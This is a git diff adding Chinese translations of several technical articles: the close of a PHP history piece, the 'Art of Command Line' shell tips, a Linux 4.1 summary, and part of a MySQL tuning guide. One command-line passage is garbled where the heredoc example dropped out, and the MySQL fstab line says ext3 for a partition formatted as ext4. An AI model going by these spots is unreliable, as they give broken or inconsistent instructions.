+如今,PHP社区有一个生机勃勃应用和库的生态系统,有一些被广泛安装的PHP应用包括WordPress,Drupal,Joomla和MediaWiki。从小型的夫妻店站点到whitehouse.gov和Wikipeida,这些应用支撑了各种不同规模的业务的网站。在Alexa前十的站点中,有6个使用PHP,在一天内为数十亿的页面访问提供服务。因此,PHP应用已成为需要加速的首选,并且许多创新也加入到PHP的核心来提升性能。 + +在2010年,Facebook公开了其用作PHP源对源的编译器的HipHop,可以翻译PHP代码为C++代码,并且编译为一个单独的可执行二进制应用。Facebook的规模和成长需要从标准互用的PHP代码迁移到更快、最佳的可执行的代码。尽管如此,由于PHP的易用和快速开发周期,Facebook还想继续使用PHP。HipHop后来进化为HHVM,这是一个针对PHP的JIT(just-in-time)编译基础的执行引擎,其包含一个基于PHP的新的语言:[Hack][7]。 + +Facebook的创新以及其他的VM项目是在引擎水平上的比较,其引起了关于Zend引擎未来的讨论。Zend引擎依然是PHP的内核和语言规范。在2014年,它创建了一个语言规范项目,“提供一个完整的,简明的语句定义,和PHP语言的语义学”,使得对编译器项目来说,创建互用的PHP实现成为可能。 + +下一个PHP的主要版本成为了激烈争论的话题,他们提出了一个叫做phpng(下一代)的项目,来清理,重构,优化和改进PHP代码基础,这也展示了对实际应用的性能的实质提升。由于之前有一个未发布的PHP 6.0版本,因此在决定命名下一个主要版本叫做“PHP 7”后,就合并了phpng分支,并制定了开发PHP 7的计划,以增加很多语言中拥有的功能,如scalar和返回类型提示。 + +随着[今天第一版PHP 7 alpha发布][8],基准检测程序显示她在许多方面[与HHVM的一样好或者拥有更好的性能][9],PHP正与现代网络开发需求保持一致的步伐。同样地,PHP-FIG继续创新和推动框架与库的协作 -- 最近由于[PSR-7][10]的采纳,这将会改变PHP项目处理HTTP的方式。用户组、会议、公众和如[PHPMentoring.org][11]这样的布道者继续在PHP开发者社区提倡最好的操作、编码标准和测试。 + +PHP从各个方面见证了网络的成熟,而且PHP自己也成熟了。曾经一个简单的低级C语言库的API封装,PHP以她自己的方式,已经成为一个羽翼丰满的编程语言。她的开发者社区是一个充满生气、乐于助人、在实用方面引以为傲,并且欢迎新人的地方。PHP已经经受了20年的考验,而且目前在语言与社区里的活跃性,会保证她在接下来的几年里将会是一个密切相关的、积极有用的的语言。 + +在Rasmus Lerdorf的SunshinePHP的演讲中,他回忆到,“我会想到我会在20年之后讨论当初做的这个愚蠢的小项目吗?没有。” + +这里向Lerdorf和PHP社区的其他人致敬,感谢他们把这个“愚蠢的小项目”变成了一个如今网络上持久、强大的组件。 + +-------------------------------------------------------------------------------- + +via: http://www.infoworld.com/article/2933858/php/php-at-20-from-pet-project-to-powerhouse.html + +作者:[Ben Ramsey][a] +译者:[wi-cuckoo](https://github.com/wi-cuckoo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.infoworld.com/author/Ben-Ramsey/ +[1]:https://www.flickr.com/photos/jurvetson/13049862325 +[2]:https://groups.google.com/d/msg/comp.infosystems.www.authoring.cgi/PyJ25gZ6z7A/M9FkTUVDfcwJ +[3]:http://w3techs.com/technologies/overview/programming_language/all +[4]:http://web.archive.org/web/20061215165756/http://chiphpug.php.net/mpug.htm +[5]:http://www.phpdeveloper.org/ +[6]:http://www.php-fig.org/ +[7]:http://www.infoworld.com/article/2610885/facebook-q-a--hack-brings-static-typing-to-php-world.html +[8]:https://wiki.php.net/todo/php70#timetable +[9]:http://talks.php.net/velocity15 +[10]:http://www.php-fig.org/psr/psr-7/ +[11]:http://phpmentoring.org/ + diff --git a/published/201506/20150617 The Art of Command Line.md b/published/201506/20150617 The Art of Command Line.md new file mode 100644 index 0000000000..8a4d9a0d98 --- /dev/null +++ b/published/201506/20150617 The Art of Command Line.md @@ -0,0 +1,433 @@ +命令行艺术 +================================================================================ + +![curl -s 'https://raw.githubusercontent.com/jlevy/the-art-of-command-line/master/README.md' | egrep -o '`\w+`' | tr -d '`' | cowsay -W50](https://github.com/jlevy/the-art-of-command-line/raw/master/cowsay.png) + + +流畅地使用命令行是一个常被忽略的技能,或被认为是神秘的奥义。但是,它会以明显而微妙的方式改善你作为工程师的灵活度和生产力。这是我在 Linux 上工作时发现的有用的命令行使用小窍门和笔记的精粹。有些小窍门是很基础的,而有些是相当地特别、复杂、或者晦涩难懂。这篇文章不长,但是如果你可以使用并记得这里的所有内容,那么你就懂得很多了。 + +其中大部分[最初](http://www.quora.com/What-are-some-lesser-known-but-useful-Unix-commands)[出现](http://www.quora.com/What-are-the-most-useful-Swiss-army-knife-one-liners-on-Unix)在[Quora](http://www.quora.com/What-are-some-time-saving-tips-that-every-Linux-user-should-know)上,但是考虑到兴趣所在,似乎更应该放到 Github 上,这里的人比我更能提出改进建议。如果你看到一个错误,或者更好的某种东西,请提交问题或 PR!(当然,提交前请看看必读小节和已有的 PR/Issue。) + +## 必读 + +范围: + +- 本文是针对初学者和专业人员的,选题目标是覆盖面广(全都很重要)、有针对性(大多数情况下都给出具体实例)而简洁(避免不必要内容以及你能在其它地方轻松找到的离题的内容)。每个小窍门在某种情形下都很必需的,或者能比替代品大大节省时间。 +- 这是为 Linux 写的。绝大部分条目都可以同样应用到 MacOS(或者甚至 Cygwin)。 +- 主要针对交互式 Bash,尽管大多数小窍门也可以应用到其它 shell,以及常规 Bash 脚本。 +- 包括了“标准的”UNIX 命令以及那些需要安装的软件包(它们很重要,值得安装)。 + +注意: + +- 为了能在一篇文章内展示尽量多的东西,一些具体的信息会被放到引用页里。你可以使用 Google 来获得进一步的内容。(如果需要的话,)你可以使用 `apt-get`/`yum`/`dnf`/`pacman`/`pip`/`brew` 来安装这些新的程序。 +- 使用 [Explainshell][1] 来获取命令、参数、管道等内容的解释。 + +## 基础 + +- 学习基本 Bash 技能。实际上,键入`man bash`,然后至少浏览一遍所有内容;它很容易理解,没那么长。其它 shell 也不错,但是 Bash 很强大,而且到处都可以找到(如果在你自己的笔记本上*只*学习 zsh、fish 之类,会在很多情形下受到限制,比如使用现存的服务器时)。 + +- 至少学好一种基于文本的编辑器。理想的一个是 Vim(`vi`),因为在终端中编辑时随时都能找到它(即使大多数时候你在使用 Emacs、一个大型的 IDE、或一个现代的时髦编辑器)。 + +- 学习怎样使用 `man` 来阅读文档(好奇的话,用 `man man` 来列出分区号,比如 1 是常规命令,5 是文件描述,8 用于管理员)。用 `apropos` 找到帮助页。了解哪些命令不是可执行程序,而是 Bash 内置的,你可以用 `help` 和 `help -d` 得到帮助。 + +- 学习使用 `>` 和 `<` 来进行输出和输入重定向,以及使用 `|` 来管道重定向,学习关于 stdout 和 stderr 的东西。 + +- 学习 `*`(也许还有 `?` 和 `{`...`}` )文件通配扩展和应用,以及双引号 `"` 和单引号 `'` 之间的区别。(更多内容请参看下面关于变量扩展部分)。 + +- 熟悉 Bash 作业管理:`&`, **ctrl-z**, **ctrl-c**, `jobs`, `fg`, `bg`, `kill` 等等。 + +- 掌握`ssh`,以及通过 `ssh-agent`,`ssh-add` 等进行无密码验证的基础技能。 + +- 基本的文件管理:`ls` 和 `ls -l`(特别是,知道`ls -l`各个列的意义),`less`, `head`, `tail` 和 `tail -f`(或者更好的`less +F`),`ln` 和 `ln -s`(知道硬链接和软链接的区别,以及硬链接相对于软链接的优势),`chown`,`chmod`,`du`(用于查看磁盘使用率的快速摘要:`du -sk *`)。文件系统管理:`df`, `mount`,`fdisk`,`mkfs`,`lsblk`。 + +- 基本的网络管理: `ip` 或 `ifconfig`,`dig`。 + +- 熟知正则表达式,以及各种使用`grep`/`egrep`的选项。`-i`,`-o`,`-A` 和 `-B` 选项值得掌握。 + +- 学会使用 `apt-get`,`yum` ,`dnf` 或 `pacman`(这取决于你的发行版)来查找并安装软件包。确保你可以用 `pip` 来安装基于 Python 的命令行工具(下面的一些东西可以很容易地通过 `pip` 安装)。 + + +## 日常使用 + +- 在Bash中,使用 **tab** 补完参数,使用 **ctrl-r** 来搜索命令历史。 + +- 在Bash中,使用 **ctrl-w** 来删除最后的单词,使用 **ctrl-u** 来删除整行,返回行首。使用 **alt-b** 和 **alt-f** 来逐词移动,使用 **ctrl-k** 来清除到行尾的内容,以及使用 **ctrl-l** 清屏。参见 `man readline` 来查看 Bash 中所有默认的键盘绑定,有很多。例如,**alt-.** 可以循环显示先前的参数,而**alt-** 扩展通配。(LCTT 译注:关于 Bash 下的快捷键,可以参阅: https://linux.cn/article-5660-1.html ) + +- 另外,如果你喜欢 vi 风格的键盘绑定,可以使用 `set -o vi`。 + +- 要查看最近用过的命令,请使用 `history` 。 有许多缩写形式,比如 `!$`(上次的参数)和`!!`(上次的命令),虽然使用 `ctrl-r` 和 `alt-.` 更容易些。(LCTT 译注:关于历史扩展功能,可以参阅: https://linux.cn/article-5658-1.html ) + +- 返回先前的工作目录: `cd -` + +- 如果你命令输入到一半,但是改变主意了,可以敲 **alt-#** 来添加一个 `#` 到开头,然后将该命令作为注释输入(或者使用快捷键 **ctrl-a**, **#**,**enter** 输入)。然后,你可以在后面通过命令历史来回到该命令。 + +- 使用 `xargs`(或 `parallel`),它很强大。注意,你可以控制每行(`-L`)执行多少个项目,以及并行执行(`-P`)。如果你不确定它是否会做正确的事情,可以首先使用 `xargs echo`。同时,使用 `-I{}` 也很方便。样例: +```bash + find . -name '*.py' | xargs grep some_function + cat hosts | xargs -I{} ssh root@{} hostname +``` + +- `pstree -p` 对于显示进程树很有帮助。 + +- 使用 `pgrep` 和 `pkill` 来按名称查找进程或给指定名称的进程发送信号(`-f` 很有帮助)。 + +- 掌握各种可以发送给进程的信号。例如,要挂起进程,可以使用 `kill -STOP [pid]`。完整的列表可以查阅 `man 7 signal`。 + +- 如果你想要一个后台进程一直保持运行,使用 `nohup` 或 `disown`。 + +- 通过 `netstat -lntp` 或 `ss -plat` 检查哪些进程在监听(用于 TCP,对 UDP 使用 `-u` 替代 `-t`)。 + +- `lsof`来查看打开的套接字和文件。 + +- 在 Bash 脚本中,使用 `set -x` 调试脚本输出。尽可能使用严格模式。使用 `set -e` 在遇到错误时退出。也可以使用 `set -o pipefail`,对错误进行严格处理(虽然该话题有点微妙)。对于更复杂的脚本,也可以使用 `trap`。 + +- 在 Bash 脚本中,子 shell(写在括号中的)是组合命令的便利的方式。一个常见的例子是临时移动到一个不同的工作目录,如: +```bash + # 在当前目录做些事 + (cd /some/other/dir; other-command) + # 继续回到原目录 +``` + +- 注意,在 Bash 中有大量的各种各样的变量扩展。检查一个变量是否存在:`${name:?error message}`。例如,如果一个Bash脚本要求一个单一参数,只需写 `input_file=${1:?usage: $0 input_file}`。算术扩展:`i=$(( (i + 1) % 5 ))`。序列: `{1..10}`。修剪字符串:`${var%suffix}` 和 `${var#prefix}`。例如,if `var=foo.pdf` ,那么 `echo ${var%.pdf}.txt` 会输出 `foo.txt`。 + +- 命令的输出可以通过 `<(some command)` 作为一个文件来处理。例如,将本地的 `/etc/hosts` 和远程的比较: +```sh + diff /etc/hosts <(ssh somehost cat /etc/hosts) +``` + +- 了解 Bash 中的“嵌入文档”,就像在 `cat <logfile 2>&1` 同时重定向标准输出和标准错误。通常,要确保某个命令不再为标准输入打开文件句柄,而是将它捆绑到你所在的终端,添加 ` foo: + rename 's/\.bak$//' *.bak + # 文件和目录的全名 foo -> bar: + repren --full --preserve-case --from foo --to bar . +``` + +- 使用 `shuf` 来从某个文件中打乱或随机选择行。 + +- 了解 `sort` 的选项。知道这些键是怎么工作的(`-t`和`-k`)。特别是,注意你需要写`-k1,1`来只通过第一个字段排序;`-k1`意味着根据整行排序。 + +- 稳定排序(`sort -s`)会很有用。例如,要首先按字段2排序,然后再按字段1排序,你可以使用 `sort -k1,1 | sort -s -k2,2` + +- 如果你曾经需要在 Bash 命令行中写一个水平制表符(如,用于 -t 参数的排序),按**ctrl-v** **[Tab]**,或者写`$'\t'`(后面的更好,因为你可以复制/粘贴)。 + +- 对源代码进行补丁的标准工具是 `diff` 和 `patch`。 用 `diffstat` 来统计 diff 情况。注意 `diff -r` 可以用于整个目录,所以可以用 `diff -r tree1 tree2 | diffstat` 来统计(两个目录的)差异。 + +- 对于二进制文件,使用 `hd` 进行简单十六进制转储,以及 `bvi` 用于二进制编辑。 + +- 还是用于二进制文件,`strings`(加上 `grep` 等)可以让你找出一点文本。 + +- 对于二进制文件的差异(delta 压缩),可以使用 `xdelta3`。 + +- 要转换文本编码,试试 `iconv` 吧,或者对于更高级的用途使用 `uconv`;它支持一些高级的 Unicode 的东西。例如,这个命令可以转换为小写并移除所有重音符号(通过扩展和丢弃): +```sh + uconv -f utf-8 -t utf-8 -x '::Any-Lower; ::Any-NFD; [:Nonspacing Mark:] >; ::Any-NFC; ' < input.txt > output.txt +``` + +- 要将文件分割成几个部分,来看看 `split`(按大小分割)和 `csplit`(按格式分割)吧。 + +- 使用 `zless`,`zmore`,`zcat` 和 `zgrep` 来操作压缩文件。 + +## 系统调试 + +- 对于 Web 调试,`curl` 和 `curl -I` 很方便灵活,或者也可以使用它们的同行 `wget`,或者更现代的 [`httpie`](https://github.com/jakubroztocil/httpie)。 + +- 要了解磁盘、CPU、网络的状态,使用 `iostat`,`netstat`,`top`(或更好的 `htop`)和(特别是)`dstat`。它们对于快速获知系统中发生的状况很好用。 + +- 对于更深层次的系统总览,可以使用 [`glances`](https://github.com/nicolargo/glances)。它会在一个终端窗口中为你呈现几个系统层次的统计数据,对于快速检查各个子系统很有帮助。 + +- 要了解内存状态,可以运行 `free` 和 `vmstat`,看懂它们的输出结果吧。特别是,要知道“cached”值是Linux内核为文件缓存所占有的内存,因此,要有效地统计“free”值。 + +- Java 系统调试是一件截然不同的事,但是对于 Oracle 系统以及其它一些 JVM 而言,不过是一个简单的小把戏,你可以运行 `kill -3 `,然后一个完整的堆栈追踪和内存堆的摘要(包括常规的垃圾收集细节,这很有用)将被转储到stderr/logs。 + +- 使用 `mtr` 作路由追踪更好,可以识别网络问题。 + +- 对于查看磁盘满载的原因,`ncdu` 会比常规命令如 `du -sh *` 更节省时间。 + +- 要查找占用带宽的套接字和进程,试试 `iftop` 或 `nethogs` 吧。 + +- (Apache附带的)`ab`工具对于临时应急检查网络服务器性能很有帮助。对于更复杂的负载测试,可以试试 `siege`。 + +- 对于更仔细的网络调试,可以用 `wireshark`,`tshark` 或 `ngrep`。 + +- 掌握 `strace` 和 `ltrace`。如果某个程序失败、挂起或崩溃,而你又不知道原因,或者如果你想要获得性能的大概信息,这些工具会很有帮助。注意,分析选项(`-c`)和使用 `-p` 关联运行进程。 + +- 掌握 `ldd` 来查看共享库等。 + +- 知道如何使用 `gdb` 来连接到一个运行着的进程并获取其堆栈追踪信息。 + +- 使用 `/proc`。当调试当前的问题时,它有时候出奇地有帮助。样例:`/proc/cpuinfo`,`/proc/xxx/cwd`,`/proc/xxx/exe`,`/proc/xxx/fd/`,`/proc/xxx/smaps`。 + +- 当调试过去某个东西为何出错时,`sar` 会非常有帮助。它显示了 CPU、内存、网络等的历史统计数据。 + +- 对于更深层的系统和性能分析,看看 `stap` ([SystemTap](https://sourceware.org/systemtap/wiki)),[`perf`](http://en.wikipedia.org/wiki/Perf_(Linux)) 和 [`sysdig`](https://github.com/draios/sysdig) 吧。 + +- 确认是正在使用的 Linux 发行版版本(支持大多数发行版):`lsb_release -a`。 + +- 每当某个东西的行为异常时(可能是硬件或者驱动器问题),使用`dmesg`。 + +## 单行程序 + +这是将命令连成一行的一些样例: + +- 有时候通过 `sort`/`uniq` 对文本文件做交集、并集和差集运算时,这个例子会相当有帮助。假定 `a` 和 `b` 是已经进行了唯一性处理的文本文件。这会很快,而且可以处理任意大小的文件,总计可达数千兆字节。(Sort不受内存限制,不过如果 `/tmp` 放在一个很小的根分区的话,你可能需要使用 `-T` 选项。)也可参见上面关于`LC_ALL`的注解和 `-u` 选项(参见下面例子更清晰)。 + + ```bash + cat a b | sort | uniq > c # c 是 a 和 b 的并集 + cat a b | sort | uniq -d > c # c 是 a 和 b 的交集 + cat a b b | sort | uniq -u > c # c 是 a 减去 b 的差集 +``` +- 使用 `grep . *` 来可视化查看一个目录中的所有文件的所有内容,例如,对于放满配置文件的目录: `/sys`, `/proc`, `/etc`。 + +- 对某个文本文件的第三列中所有数据进行求和(该例子可能比同等功能的Python要快3倍,而且代码也少于其3倍): +```sh + awk '{ x += $3 } END { print x }' myfile +``` + +- 如果想要查看某个文件树的大小/日期,该例子就像一个递归`ls -l`,但是比`ls -lR`要更容易读懂: +```sh + find . -type f -ls +``` + +- 只要可以,请使用 `xargs` 或 `parallel`。注意,你可以控制每行(`-L`)执行多少个项目,以及并行执行(`-P`)。如果你不确定它是否会做正确的事情,可以首先使用 `xargs echo`。同时,使用 `-I{}` 也很方便。样例: +```sh + find . -name '*.py' | xargs grep some_function + cat hosts | xargs -I{} ssh root@{} hostname +``` + +- 比如说,你有一个文本文件,如 Web 服务器的日志,在某些行中出现了某个特定的值,如 URL 中出现的 `acct_id` 参数。如果你想要统计有多少个 `acct_id` 的请求: +```sh + cat access.log | egrep -o 'acct_id=[0-9]+' | cut -d= -f2 | sort | uniq -c | sort -rn +``` + +- 运行该函数来获得来自本文的随机提示(解析Markdown并从中提取某个项目): +```sh + function taocl() { + curl -s https://raw.githubusercontent.com/jlevy/the-art-of-command-line/master/README.md | + pandoc -f markdown -t html | + xmlstarlet fo --html --dropdtd | + xmlstarlet sel -t -v "(html/body/ul/li[count(p)>0])[$RANDOM mod last()+1]" | + xmlstarlet unesc | fmt -80 + } +``` + + +## 晦涩难懂,但却有用 + +- `expr`:实施算术或布林操作,或者求正则表达式的值 + +- `m4`:简单的宏处理器 + +- `yes`:大量打印一个字符串 + +- `cal`:漂亮的日历 + +- `env`:(以特定的环境变量设置)运行一个命令(脚本中很有用) + +- `look`:查找以某个字符串开头的英文单词(或文件中的行) + +- `cut ` 和 `paste` 以及 `join`:数据处理 + +- `fmt`:格式化文本段落 + +- `pr`:格式化文本为页/列 + +- `fold`:文本折行 + +- `column`:格式化文本为列或表 + +- `expand` 和 `unexpand`:在制表符和空格间转换 + +- `nl`:添加行号 + +- `seq`:打印数字 + +- `bc`:计算器 + +- `factor`:分解质因子 + +- `gpg`:加密并为文件签名 + +- `toe`:terminfo 条目表 + +- `nc`:网络调试和数据传输 + +- `socat`:套接字中继和 tcp 端口转发(类似 `netcat`) + +- `slurm`:网络流量可视化 + +- `dd`:在文件或设备间移动数据 + +- `file`:识别文件类型 + +- `tree`:以树形显示目录及子目录;类似 `ls`,但是是递归的。 + +- `stat`:文件信息 + +- `tac`:逆序打印文件 + +- `shuf`:从文件中随机选择行 + +- `comm`:逐行对比分类排序的文件 + +- `hd`和`bvi`:转储或编辑二进制文件 + +- `strings`:从二进制文件提取文本 + +- `tr`:字符转译或处理 + +- `iconv `或`uconv`:文本编码转换 + +- `split `和`csplit`:分割文件 + +- `units`:单位转换和计算;将每双周(fortnigh)一浪(浪,furlong,长度单位,约201米)转换为每瞬(blink)一缇(缇,twip,一种和屏幕无关的长度单位)(参见: /usr/share/units/definitions.units)(LCTT 译注:这都是神马单位啊!) + +- `7z`:高比率文件压缩 + +- `ldd`:动态库信息 + +- `nm`:目标文件的符号 + +- `ab`:Web 服务器基准测试 + +- `strace`:系统调用调试 + +- `mtr`:用于网络调试的更好的路由追踪软件 + +- `cssh`:可视化并发 shell + +- `rsync`:通过 SSH 同步文件和文件夹 + +- `wireshark` 和 `tshark`:抓包和网络调试 + +- `ngrep`:从网络层摘取信息 + +- `host` 和 `dig`:DNS查询 + +- `lsof`:处理文件描述符和套接字信息 + +- `dstat`:有用的系统统计数据 + +- [`glances`](https://github.com/nicolargo/glances):高级,多个子系统概览 + +- `iostat`:CPU和磁盘使用率统计 + +- `htop`:top的改进版 + +- `last`:登录历史 + +- `w`:谁登录进来了 + +- `id`:用户/组身份信息 + +- `sar`:历史系统统计数据 + +- `iftop`或`nethogs`:按套接口或进程的网络使用率 + +- `ss`:套接口统计数据 + +- `dmesg`:启动和系统错误信息 + +- `hdparm`:SATA/ATA 磁盘操作/改善性能 + +- `lsb_release`:Linux 发行版信息 + +- `lsblk`:列出块设备,以树形展示你的磁盘和分区 + +- `lshw`:硬件信息 + +- `fortune`,`ddate` 和 `sl`:嗯,好吧,它取决于你是否认为蒸汽机车和 Zippy 引用“有用” + + +## 更多资源 + +- [超棒的shell](https://github.com/alebcay/awesome-shell): 一个shell工具和资源一览表。 +- [严格模式](http://redsymbol.net/articles/unofficial-bash-strict-mode/) 用于写出更佳的shell脚本。 + + +## 免责声明 + +除了非常小的任务外,其它都写出了代码供大家阅读。伴随力量而来的是责任。事实是,你*能*在Bash中做的,并不意味着是你所应该做的!;) + +-------------------------------------------------------------------------------- + +via: https://github.com/jlevy/the-art-of-command-line + +作者:[jlevy][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:https://github.com/jlevy +[1]:http://explainshell.com/ + diff --git a/published/201506/20150623 Linux Kernel 4.1 Released This Is What's New.md b/published/201506/20150623 Linux Kernel 4.1 Released This Is What's New.md new file mode 100644 index 0000000000..f49951e253 --- /dev/null +++ b/published/201506/20150623 Linux Kernel 4.1 Released This Is What's New.md @@ -0,0 +1,61 @@ +Linux 4.1 带来了什么新东西? +================================================================================ +**一个新的Linux内核已经发布了 - 全世界为之心跳(我们想把它说的诗意一些)** + +Linus Torvalds(除了他不会有谁了)在Linux邮件列表(当然不会在别的地方)中[宣布][1],在大概两个月后迎来了[第一个4.x系列的Linux内核的发布][2]。 + +像每次发布前那样,Linux 4.1带来了很多的改变。它们包括了硬件兼容性、电源管理、文件系统性能、以及你从没听说过的处理器的技术修复。 + +Linux 4.1 已经进入将在10月发布的 Ubuntu 15.10 。 + +### Linux 4.1 有哪些新东西 ### + +![Tux got mail](http://www.omgubuntu.co.uk/wp-content/uploads/2015/06/linux-kernel-4-11-350x200.jpg) + +*Tux 收到了邮件* + +这个标题只是说说而已,我们不是简单地将发布公告贴到这里。 + +我们会从(大量、冗长以及那些不明觉厉的的技术的)更改日志去挑选一些对桌面用户而言,不见得夸张但或许有用的亮点。 + +#### 电源管理 #### + +你可以在Linux 4.1中找到的面向用户的一大特性是对 Intel 的 Cherry Trail 和 Bay Trai 芯片、Soc及Intel计算棒等设备的性能及能效的提升。 + +传闻建议是Linux 4.1给出了新的Intel硬件组合,和更长电池寿命。这么多的进步自然不可能针对所有芯片,它只对特定芯片和系统(和高端的)有用,但仍旧是一个令人兴奋的消息。 + +**Linux 4.1 亮点包括:** + +- ext4 有了文件系统层面的加密(感谢Google) +- 罗技游戏手柄lg4ff驱动改进了‘力反馈’ +- 东芝笔记本驱动进行了USB睡眠充电和背光改进 +- Xbox One控制器支持Rumble +- Wacom平板驱动改进了电源报告 +- 各种针对arm和x86设备电源管理改进 +- Samsung Exynos 3250 电源管理改进 +- 支持Bamboo平板 +- 联想OneLink Pro Dock获得USB支持 +- 支持Realtek 8723A、 8723B、 8761A、 8821 Wi-Fi网卡 + +### Ubuntu中安装Linux 4.1 ### + +虽然这次发布的内核被标记为稳定,但是Ubuntu用户并不需要迫切地安装它。 + +但如果你等不及了并且技术足够熟练,你可以从[Canonical的主干内核归档][3]中下载合适的软件包来安装Linux 4.1(或者冒着风险使用第三方PPA)。 + +10月发布的Ubuntu 15.10 Wily Werewolf将会基于Ubuntu Kernel 4.1.x(Ubuntu内核是基于Linux内核加上Ubuntu没被上流接受的独有补丁)。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2015/06/linux-4-1-kernel-new-features + +作者:[Joey-Elijah Sneddon][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:https://lkml.org/lkml/2015/6/22/8 +[2]:http://www.omgubuntu.co.uk/2015/04/linux-kernel-4-0-new-features +[3]:http://kernel.ubuntu.com/~kernel-ppa/mainline/?C=N;O=D diff --git a/published/201506/20150626 15 Useful MySQL or MariaDB Performance Tuning and Optimization Tips.md b/published/201506/20150626 15 Useful MySQL or MariaDB Performance Tuning and Optimization Tips.md new file mode 100644 index 0000000000..0f770d2ee4 --- /dev/null +++ b/published/201506/20150626 15 Useful MySQL or MariaDB Performance Tuning and Optimization Tips.md @@ -0,0 +1,285 @@ +15 个有用的 MySQL/MariaDB 性能调整和优化技巧 +================================================================================ +MySQL 是一个强大的开源关系数据库管理系统(简称 RDBMS)。它发布于 1995 年(20年前)。它采用结构化查询语言(SQL),这可能是数据库内容管理中最流行的选择。最新的 MySQL 版本是 5.6.25,于 2015 年 5 月 29 日发布。 + +关于 MySQL 一个有趣的事实是它的名字来自于 Michael Widenius(MySQL 的创始人)的女儿“ My”。尽管有许多关于 MySQL 有趣的传闻,不过本文主要是向你展示一些有用的实践,以帮助你管理你的 MySQL 服务器。 + +![MySQL 性能优化](http://www.tecmint.com/wp-content/uploads/2015/06/MySQL-Performance-Tuning1.png) + +*MySQL 性能优化* + +2009 年 4 月,MySQL 被 Oracle 收购。其结果是MySQL 社区分裂,创建了一个叫 MariaDB 的分支 。创建该分支的主要原因是为了保持这个项目可以在 GPL 下的自由。 + +今天,MySQL 和 MariaDB 是用于类似 WordPress、Joomla、Magento 和其他 web 应用程序的最流行的 RDMS 之一(如果不是最多的)。 + +这篇文章将告诉你一些基本的,但非常有用的关于如何优化 MySQL/MariaDB 性能的技巧。注意,本文假定您已经安装了 MySQL 或 MariaDB。如果你仍然不知道如何在系统上安装它们,你可以按照以下说明去安装: + +- [在 RHEL/CentOS 7 上安装 LAMP][1] +- [在 Fedora 22 上安装 LAMP][2] +- [在 Ubuntu 15.04 安装 LAMP][3] +- [在 Debian 8 上安装 MariaDB][4] +- [在 Gentoo Linux 上安装 MariaDB][5] +- [在 Arch Linux 上安装 MariaDB][6] + +**重要提示**: 在开始之前,不要盲目的接受这些建议。每个 MySQL 设置都是不同的,在进行任何更改之前需要慎重考虑。 + +你需要明白这些: + +- MySQL/MariaDB 配置文件位于 `/etc/my.cnf`。 每次更改此文件后你需要重启 MySQL 服务,以使更改生效。 +- 这篇文章使用 MySQL 5.6 版本。 + +### 1. 启用 InnoDB 的每张表一个数据文件设置 ### + +首先,有一个重要的解释, InnoDB 是一个存储引擎。MySQL 和 MariaDB 使用 InnoDB 作为默认存储引擎。以前,MySQL 使用系统表空间来保存数据库中的表和索引。这意味着服务器唯一的目的就是数据库处理,它们的存储盘不用于其它目的。 + +InnoDB 提供了更灵活的方式,它把每个数据库的信息保存在一个 `.ibd` 数据文件中。每个 .idb 文件代表它自己的表空间。通过这样的方式可以更快地完成类似 “TRUNCATE” 的数据库操作,当删除或截断一个数据库表时,你也可以回收未使用的空间。 + +这样配置的另一个好处是你可以将某些数据库表放在一个单独的存储设备。这可以大大提升你磁盘的 I/O 负载。 + +MySQL 5.6及以上的版本默认启用 `innodb_file_per_table`。你可以在 /etc/my.cnf 文件中看到。该指令看起来是这样的: + + innodb_file_per_table=1 + +### 2. 将 MySQL 数据库数据存储到独立分区上 ### + +**注意**:此设置只在 MySQL 上有效, 在 MariaDB 上无效。 + +有时候操作系统的读/写会降低你 MySQL 服务器的性能,尤其是如果操作系统和数据库的数据位于同一块磁盘上。因此,我建议你使用单独的磁盘(最好是 SSD)用于 MySQL 服务。 + +要完成这步,你需要将新的磁盘连接到你的计算机/服务器上。对于这篇文章,我假定磁盘挂在到 /dev/sdb。 + +####下一步是准备新的分区: + + # fdisk /dev/sdb + +现在按 “N” 来创建新的分区。接着按 “P”,使其创建为主分区。在此之后,从 1-4 设置分区号。之后,你可以选择分区大小。这里按 enter。在下一步,你需要配置分区的大小。 + +如果你希望使用全部的磁盘,再按一次 enter。否则,你可以手动设置新分区的大小。准备就绪后按 “w” 保存更改。现在,我们需要为我们的新分区创建一个文件系统。这可以用下面命令轻松地完成: + + # mkfs.ext4 /dev/sdb1 + +现在我们会挂载新分区到一个目录。我在根目录下创建了一个名为 “ssd” 的目录: + + # mkdir /ssd/ + +挂载新分区到刚才创建的目录下: + + # mount /dev/sdb1 /ssd/ + +你可以在 /etc/fstab 文件中添加如下行设置为开机自动挂载: + + /dev/sdb1 /ssd ext3 defaults 0 0 + +####现在我们将 MySQL 移动到新磁盘中 + +首先停止 MySQL 服务: + + # service mysqld stop + +我建议你​​同时停止 Apache/nginx,以防止任何试图写入数据库的操作: + + # service httpd stop + # service nginx stop + +现在复制整个 MySQL 目录到新分区中: + + # cp /var/lib/mysql /ssd/ -Rp + +这可能需要一段时间,具体取决于你的 MySQL 数据库的大小。一旦这个过程完成后重命名 MySQL 目录: + + # mv /var/lib/mysql /var/lib/mysql-backup + +然后创建一个符号链接: + + # ln -s /ssd/mysql /var/lib/mysql + +现在启动你的 MySQL 和 web 服务: + + # service mysqld start + # service httpd start + # service nginx start + +以后你的数据库将使用新的磁盘访问。 + +### 3. 优化使用 InnoDB 的缓冲池 ### + +InnoDB 引擎在内存中有一个缓冲池用于缓存数据和索引。这当然有助于你更快地执行 MySQL/MariaDB 查询语句。选择合适的内存大小需要一些重要的决策并对系统的内存消耗有较多的认识。 + +下面是你需要考虑的: + +- 其它的进程需要消耗多少内存。这包括你的系统进程,页表,套接字缓冲。 +- 你的服务器是否专门用于 MySQL 还是你运行着其它非常消耗内存的服务。 + +在一个专用的机器上,你可能会把 60-70% 的内存分配给 `innodb_buffer_pool_size`。如果你打算在一个机器上运行更多的服务,你应该重新考虑专门用于 `innodb_buffer_pool_size` 的内存大小。 + 